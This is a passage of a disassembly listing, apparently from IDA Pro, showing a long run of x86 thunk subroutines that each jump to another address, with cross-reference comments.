; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B36	proc near		; CODE XREF: sub_41C610+83p
					; sub_4282C0+3Fp
		jmp	sub_41D540
sub_401B36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B3B	proc near		; CODE XREF: sub_41A890+11p
		jmp	sub_41A8C0
sub_401B3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B40	proc near		; CODE XREF: sub_41E660+339p
		jmp	sub_421C10
sub_401B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B45	proc near		; CODE XREF: sub_414C70+3p
		jmp	sub_414CA0
sub_401B45	endp

; ---------------------------------------------------------------------------
		jmp	loc_432CA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B4F	proc near		; CODE XREF: sub_42FAA0+29p
		jmp	sub_42F540
sub_401B4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B54	proc near		; CODE XREF: sub_40FDA0+38p
					; ___:00439158j
		jmp	sub_412BC0
sub_401B54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B59	proc near
		jmp	sub_40D580
sub_401B59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B5E	proc near		; CODE XREF: sub_407660+3Bp
					; sub_4076F0+43p
		jmp	sub_40B430
sub_401B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B63	proc near		; CODE XREF: sub_4072D0+3p
		jmp	sub_4074A0
sub_401B63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B68	proc near		; CODE XREF: sub_424840+9Dp
					; sub_424840+FBp ...
		jmp	sub_4245F0
sub_401B68	endp

; ---------------------------------------------------------------------------


loc_401B6D:				; DATA XREF: ___:off_43E084o
		jmp	loc_425BD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B72	proc near		; CODE XREF: sub_40FF60+413p
					; sub_40FF60+F69p ...
		jmp	sub_409F60
sub_401B72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B77	proc near		; CODE XREF: ___:00425474p
		jmp	sub_4254E0
sub_401B77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B7C	proc near		; CODE XREF: sub_422050+32p
		jmp	sub_422410
sub_401B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B81	proc near		; CODE XREF: sub_41B4B0+A5p
		jmp	sub_41A6D0
sub_401B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B86	proc near		; CODE XREF: sub_40BF60+23p
					; ___:0040C131p
		jmp	sub_40C2C0
sub_401B86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B8B	proc near		; CODE XREF: ___:0042B833p
		jmp	sub_42B860
sub_401B8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B90	proc near
		jmp	sub_41E140
sub_401B90	endp

; ---------------------------------------------------------------------------


loc_401B95:				; DATA XREF: sub_42FF50+86o
		jmp	loc_431650

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B9A	proc near		; CODE XREF: sub_409530+20p
		jmp	sub_409600
sub_401B9A	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BA4	proc near		; DATA XREF: ___:off_43E0A4o
		jmp	sub_40CBB0
sub_401BA4	endp

; ---------------------------------------------------------------------------
		jmp	loc_4309D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BAE	proc near		; CODE XREF: sub_421BD0+1Fp
		jmp	sub_421FB0
sub_401BAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BB3	proc near		; CODE XREF: sub_427520+39p
		jmp	sub_4270E0
sub_401BB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BB8	proc near		; CODE XREF: sub_415730+5p
					; sub_415930+6p ...
		jmp	sub_416380
sub_401BB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BBD	proc near		; CODE XREF: sub_4303D0+5Dp
					; sub_431730+3Ep
		jmp	sub_4304D0
sub_401BBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BC2	proc near		; CODE XREF: ___:00432129p
					; ___:0043214Ap ...
		jmp	sub_430C00
sub_401BC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BC7	proc near		; CODE XREF: ___:00425DA2p
		jmp	sub_4269A0
sub_401BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BCC	proc near		; CODE XREF: ___:0041B3D3p
		jmp	sub_41B400
sub_401BCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BD1	proc near		; CODE XREF: sub_428220+3p
		jmp	sub_428250
sub_401BD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BD6	proc near		; CODE XREF: sub_422A40+924p
					; ___:0042408Ap
		jmp	sub_4258E0
sub_401BD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BDB	proc near		; CODE XREF: sub_42D2C0+18Dp
					; sub_42D2C0+1CDp ...
		jmp	sub_42DFD0
sub_401BDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BE0	proc near		; CODE XREF: ___:0041426Cp
		jmp	sub_414360
sub_401BE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BE5	proc near
		jmp	sub_40C360
sub_401BE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BEA	proc near		; CODE XREF: sub_425020+8Bp
		jmp	sub_424840
sub_401BEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BEF	proc near		; CODE XREF: ___:0040B11Ep
					; sub_40B170+34p ...
		jmp	sub_40BDD0
sub_401BEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BF4	proc near		; CODE XREF: sub_40B0B0+5Cp
		jmp	sub_40BC70
sub_401BF4	endp

; ---------------------------------------------------------------------------
		jmp	loc_4327C0
; ---------------------------------------------------------------------------
		jmp	loc_431120

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C03	proc near		; CODE XREF: sub_430AD0+20p
					; sub_430C00+20p ...
		jmp	sub_430690
sub_401C03	endp

; ---------------------------------------------------------------------------
		jmp	loc_42ED30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C0D	proc near
		jmp	sub_4347B0
sub_401C0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C12	proc near		; CODE XREF: sub_4137E0+84p
					; sub_433A20+3Cp ...
		jmp	sub_433940
sub_401C12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C17	proc near		; CODE XREF: ___:0042C4D8p
		jmp	sub_42B060
sub_401C17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C1C	proc near		; CODE XREF: sub_42A810+446p
		jmp	sub_42A5F0
sub_401C1C	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B620

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C26	proc near		; CODE XREF: ___:00431256p
					; sub_4331D0+23p
		jmp	sub_431AC0
sub_401C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C2B	proc near		; DATA XREF: ___:off_43E12Co
		jmp	sub_427FF0
sub_401C2B	endp

; ---------------------------------------------------------------------------
		jmp	loc_41FC80

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C35	proc near		; CODE XREF: sub_41AFE0+8p
					; ___:0041B39Dp ...
		jmp	sub_41A010
sub_401C35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C3A	proc near		; CODE XREF: sub_42A100+3p
		jmp	sub_42A130
sub_401C3A	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AD80
; ---------------------------------------------------------------------------
		jmp	loc_416990

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C49	proc near		; CODE XREF: sub_40BD90+1Fp
		jmp	sub_40BEC0
sub_401C49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C4E	proc near		; CODE XREF: sub_415A00+9p
					; sub_415B20+18p
		jmp	sub_4165D0
sub_401C4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C53	proc near		; CODE XREF: sub_418C50+4p
		jmp	sub_418F70
sub_401C53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C58	proc near		; CODE XREF: sub_407370+11p
					; ___:00407397p ...
		jmp	sub_407520
sub_401C58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C5D	proc near		; CODE XREF: sub_404C70+111p
					; sub_404C70+ECDp ...
		jmp	sub_40A1F0
sub_401C5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C62	proc near		; CODE XREF: ___:0041319Ap
					; sub_413220+3Cp ...
		jmp	sub_4157E0
sub_401C62	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E9C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C6C	proc near		; CODE XREF: sub_4256B0+69p
		jmp	sub_425820
sub_401C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C71	proc near		; CODE XREF: sub_40B520+2Fp
					; sub_40B520+6Ep ...
		jmp	sub_40BD60
sub_401C71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C76	proc near		; CODE XREF: ___:0042ED88p
					; ___:0042ED9Dp ...
		jmp	sub_432CC0
sub_401C76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C7B	proc near		; CODE XREF: sub_415370+11p
					; sub_415DD0+1Fp
		jmp	sub_415FC0
sub_401C7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C80	proc near		; DATA XREF: ___:0043E0D4o
		jmp	sub_41D830
sub_401C80	endp

; ---------------------------------------------------------------------------
		jmp	loc_419910

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C8A	proc near		; CODE XREF: sub_407370+9p
					; sub_418D80+18p
		jmp	sub_4075C0
sub_401C8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C8F	proc near		; CODE XREF: sub_4131F0+3p
					; ___:00416B3Bp ...
		jmp	sub_413220
sub_401C8F	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B810
; ---------------------------------------------------------------------------


loc_401C99:				; DATA XREF: ___:off_43E05Co
		jmp	loc_416C90
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_2. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CA3	proc near		; CODE XREF: ___:00416E6Ap
		jmp	sub_4181B0
sub_401CA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CA8	proc near		; CODE XREF: sub_415AA0+Cp
					; sub_415AA0+43p
		jmp	sub_4165A0
sub_401CA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CAD	proc near		; CODE XREF: sub_409600+45p
		jmp	sub_4098E0
sub_401CAD	endp

; ---------------------------------------------------------------------------
		jmp	loc_433140
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CBC	proc near		; CODE XREF: sub_40FF60+3A4p
		jmp	sub_40A000
sub_401CBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CC1	proc near		; CODE XREF: sub_407790+646p
					; ___:00407E7Dp ...
		jmp	sub_4076F0
sub_401CC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CC6	proc near		; CODE XREF: sub_415420+16p
					; sub_415460+Bp ...
		jmp	sub_416090
sub_401CC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CCB	proc near		; CODE XREF: sub_409600+144p
		jmp	sub_409970
sub_401CCB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CD0	proc near		; CODE XREF: sub_404640+1C2p
					; sub_404B10+36p ...
		jmp	sub_4133D0
sub_401CD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CD5	proc near		; CODE XREF: sub_4150F0+34p
					; sub_415B20+67p
		jmp	sub_415CC0
sub_401CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CDA	proc near
		jmp	sub_409AA0
sub_401CDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CDF	proc near		; DATA XREF: ___:0043E06Co
		jmp	sub_41FC00
sub_401CDF	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E0B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CE9	proc near		; CODE XREF: sub_40BE90+5p
		jmp	sub_40C0F0
sub_401CE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CEE	proc near		; CODE XREF: ___:0043113Fp
		jmp	sub_42F230
sub_401CEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CF3	proc near		; CODE XREF: sub_421D50+11p
					; ___:00421D77p ...
		jmp	sub_422300
sub_401CF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CF8	proc near		; DATA XREF: ___:0043E048o
		jmp	sub_4131F0
sub_401CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CFD	proc near		; CODE XREF: sub_4157A0+1Fp
		jmp	sub_416120
sub_401CFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D02	proc near		; CODE XREF: sub_40F600+1ACp
					; sub_40F600+1EDp ...
		jmp	sub_40F590
sub_401D02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D07	proc near		; CODE XREF: sub_413DA0+15Cp
		jmp	sub_414090
sub_401D07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D0C	proc near		; CODE XREF: sub_404C20+23p
					; sub_40FF60+13C2p
		jmp	sub_412B20
sub_401D0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D11	proc near		; CODE XREF: ___:00416E2Fp
		jmp	sub_418050
sub_401D11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D16	proc near		; CODE XREF: sub_407540+7p
					; sub_40C200+7p ...
		jmp	sub_4075E0
sub_401D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D1B	proc near		; CODE XREF: sub_40A810+1Ap
					; sub_40A8C0+4p ...
		jmp	sub_40A880
sub_401D1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D20	proc near		; CODE XREF: sub_404640+289p
					; sub_404640+2ADp ...
		jmp	sub_40A0A0
sub_401D20	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F2B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D2A	proc near		; DATA XREF: ___:0043E154o
		jmp	sub_4282C0
sub_401D2A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E680

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D34	proc near
		jmp	sub_403FC0
sub_401D34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D39	proc near		; CODE XREF: sub_411FE0+123p
					; sub_411FE0+1E2p
		jmp	sub_4126B0
sub_401D39	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B470
; ---------------------------------------------------------------------------
		jmp	loc_40B790

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D48	proc near		; CODE XREF: sub_421C80+5p
		jmp	sub_4221E0
sub_401D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D4D	proc near		; CODE XREF: sub_415E70+5Fp
		jmp	sub_416690
sub_401D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D52	proc near		; CODE XREF: sub_41D830+2C7p
		jmp	sub_42EA40
sub_401D52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D57	proc near		; CODE XREF: sub_418BA0+7p
		jmp	sub_418E40
sub_401D57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D5C	proc near		; CODE XREF: sub_413670+5Dp
					; sub_413670+9Bp ...
		jmp	sub_415340
sub_401D5C	endp

; ---------------------------------------------------------------------------
		jmp	loc_4360A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D66	proc near		; CODE XREF: sub_415730+16p
					; sub_415770+Bp ...
		jmp	sub_4163E0
sub_401D66	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B880

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D70	proc near		; CODE XREF: sub_432ED0+98p
		jmp	sub_430660
sub_401D70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D75	proc near		; CODE XREF: sub_421B60+16p
					; sub_421BA0+Bp ...
		jmp	sub_4221B0
sub_401D75	endp

; ---------------------------------------------------------------------------
		jmp	loc_42C7E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D7F	proc near
		jmp	sub_41C390
sub_401D7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D84	proc near		; CODE XREF: sub_4189B0+16p
					; sub_4189F0+Bp ...
		jmp	sub_418D20
sub_401D84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D89	proc near		; CODE XREF: sub_413670+53p
					; sub_413670+91p ...
		jmp	sub_4151A0
sub_401D89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D8E	proc near		; CODE XREF: sub_422A40+56p
		jmp	sub_4258A0
sub_401D8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D93	proc near		; CODE XREF: sub_422A40+18Ap
		jmp	sub_4257A0
sub_401D93	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D9D	proc near		; CODE XREF: sub_428040+81p
		jmp	sub_427AD0
sub_401D9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DA2	proc near		; CODE XREF: sub_415680+11p
					; sub_416120+1Fp
		jmp	sub_416310
sub_401DA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DA7	proc near		; CODE XREF: sub_415160+16p
					; sub_4151A0+Bp ...
		jmp	sub_415D40
sub_401DA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DAC	proc near		; CODE XREF: ___:00414713p
		jmp	sub_4144D0
sub_401DAC	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DB6	proc near		; CODE XREF: sub_426F70+90p
		jmp	sub_427520
sub_401DB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DBB	proc near		; CODE XREF: ___:0042B178p
		jmp	sub_42AEC0
sub_401DBB	endp

; ---------------------------------------------------------------------------
		jmp	loc_414120

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DC5	proc near		; CODE XREF: sub_4337E0+74p
		jmp	sub_4317F0
sub_401DC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DCA	proc near		; CODE XREF: sub_41FA90+1Dp
		jmp	sub_40B070
sub_401DCA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DCF	proc near		; CODE XREF: sub_40A9F0+45p
		jmp	sub_40AC70
sub_401DCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DD4	proc near		; CODE XREF: ___:0042F33Dp
					; ___:0042F462p ...
		jmp	sub_431990
sub_401DD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DD9	proc near		; CODE XREF: ___:00425C34p
		jmp	sub_426EB0
sub_401DD9	endp

; ---------------------------------------------------------------------------
		jmp	loc_431A60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DE3	proc near		; CODE XREF: sub_40FF60+AE7p
					; sub_40FF60+E5Dp
		jmp	sub_41EE70
sub_401DE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DE8	proc near		; CODE XREF: sub_40ACA0+Ap
		jmp	sub_40AD90
sub_401DE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DED	proc near		; CODE XREF: ___:00416A3Bp
					; ___:00439F7Aj ...
		jmp	sub_417AE0
sub_401DED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DF2	proc near		; CODE XREF: sub_421E80+4p
		jmp	sub_422320
sub_401DF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DF7	proc near		; CODE XREF: sub_40C400+271p
					; sub_425020+50p
		jmp	sub_423660
sub_401DF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DFC	proc near		; CODE XREF: ___:0041617Ap
		jmp	sub_416760
sub_401DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E01	proc near		; CODE XREF: sub_415CC0+7p
		jmp	sub_4164C0
sub_401E01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E06	proc near		; CODE XREF: sub_41D830+19Bp
		jmp	sub_42C790
sub_401E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E0B	proc near		; CODE XREF: sub_404C70+83Bp
					; sub_404C70+B68p ...
		jmp	sub_412900
sub_401E0B	endp

; ---------------------------------------------------------------------------
		jmp	sub_4131F0
; ---------------------------------------------------------------------------
		jmp	sub_428220

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E1A	proc near		; CODE XREF: sub_4153B0+34p
					; sub_415E70+67p
		jmp	sub_416010
sub_401E1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E1F	proc near		; CODE XREF: sub_413670+31p
					; sub_4144D0+2Dp
		jmp	sub_4152D0
sub_401E1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E24	proc near		; CODE XREF: sub_40CBB0+1EEp
					; ___:00423EC5p ...
		jmp	sub_425640
sub_401E24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E29	proc near		; CODE XREF: sub_4158F0+3p
		jmp	sub_4163C0
sub_401E29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E2E	proc near		; CODE XREF: sub_404640+97p
					; sub_404640+107p ...
		jmp	sub_40A3C0
sub_401E2E	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E38	proc near		; CODE XREF: ___:00423CFDp
		jmp	sub_423850
sub_401E38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E3D	proc near		; CODE XREF: ___:00421D0Ap
		jmp	sub_422210
sub_401E3D	endp

; ---------------------------------------------------------------------------
		jmp	loc_416D30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E47	proc near
		jmp	sub_4355E0
sub_401E47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E4C	proc near		; DATA XREF: ___:off_43E098o
		jmp	sub_4356F0
sub_401E4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E51	proc near		; CODE XREF: ___:0043250Fp
		jmp	sub_42FDB0
sub_401E51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E56	proc near		; CODE XREF: sub_4165A0+5p
		jmp	sub_4167F0
sub_401E56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E5B	proc near		; CODE XREF: sub_404C70+28Dp
					; sub_41D830+6A6p
		jmp	sub_40DB40
sub_401E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E60	proc near		; CODE XREF: sub_422410+5Fp
		jmp	sub_422600
sub_401E60	endp

; ---------------------------------------------------------------------------
		jmp	loc_419E90

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E6A	proc near		; CODE XREF: sub_40F600+22p
					; sub_411860+1Dp ...
		jmp	sub_40ADC0
sub_401E6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E6F	proc near		; CODE XREF: sub_40A9F0+112p
					; sub_40A9F0+153p
		jmp	sub_40ACD0
sub_401E6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E74	proc near		; DATA XREF: ___:off_43E0C0o
		jmp	sub_41B010
sub_401E74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E79	proc near		; CODE XREF: sub_4155E0+3p
		jmp	sub_416070
sub_401E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E7E	proc near		; CODE XREF: sub_426960+1Ap
		jmp	sub_426820
sub_401E7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E83	proc near		; CODE XREF: ___:00416B0Bp
					; ___:00439EC4j ...
		jmp	sub_4175E0
sub_401E83	endp

; ---------------------------------------------------------------------------
		jmp	loc_431EC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E8D	proc near		; CODE XREF: sub_4200F0+3Ap
		jmp	sub_420300
sub_401E8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E92	proc near		; DATA XREF: ___:0043E114o
		jmp	sub_426F70
sub_401E92	endp

; ---------------------------------------------------------------------------
		jmp	loc_432800

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E9C	proc near		; CODE XREF: sub_416310+4p
		jmp	sub_416710
sub_401E9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EA1	proc near		; CODE XREF: sub_415830+4Fp
					; ___:004161D1p ...
		jmp	sub_416410
sub_401EA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EA6	proc near		; CODE XREF: sub_415650+5p
		jmp	sub_4160F0
sub_401EA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EAB	proc near		; CODE XREF: sub_424840+151p
		jmp	sub_424800
sub_401EAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EB0	proc near		; CODE XREF: ___:00416AABp
					; ___:00439F18j ...
		jmp	sub_417830
sub_401EB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EB5	proc near		; CODE XREF: sub_4152D0+3p
		jmp	sub_415D20
sub_401EB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EBA	proc near		; CODE XREF: sub_415030+11p
					; sub_415070+13p ...
		jmp	sub_415C70
sub_401EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EBF	proc near		; CODE XREF: sub_421960+16p
					; sub_4219A0+Bp ...
		jmp	sub_421F50
sub_401EBF	endp

; ---------------------------------------------------------------------------
		jmp	loc_418860
; ---------------------------------------------------------------------------
		jmp	loc_41C250

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ECE	proc near		; CODE XREF: sub_418E90+18p
					; sub_421CB0+9p
		jmp	sub_419050
sub_401ECE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ED3	proc near		; CODE XREF: sub_422540+Ap
		jmp	sub_4226E0
sub_401ED3	endp

; ---------------------------------------------------------------------------
		jmp	loc_41BC50
; ---------------------------------------------------------------------------
		jmp	loc_4328B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EE2	proc near		; CODE XREF: ___:00416A0Bp
					; ___:00439FA4j ...
		jmp	sub_417B20
sub_401EE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EE7	proc near		; CODE XREF: sub_40A810+13p
		jmp	loc_40A950
sub_401EE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EEC	proc near		; CODE XREF: sub_41B060:loc_41B0ACp
					; sub_41B950+54p ...
		jmp	sub_4198A0
sub_401EEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EF1	proc near		; CODE XREF: ___:004142C5p
		jmp	sub_415490
sub_401EF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EF6	proc near		; CODE XREF: sub_4156C0+34p
					; ___:00416227p
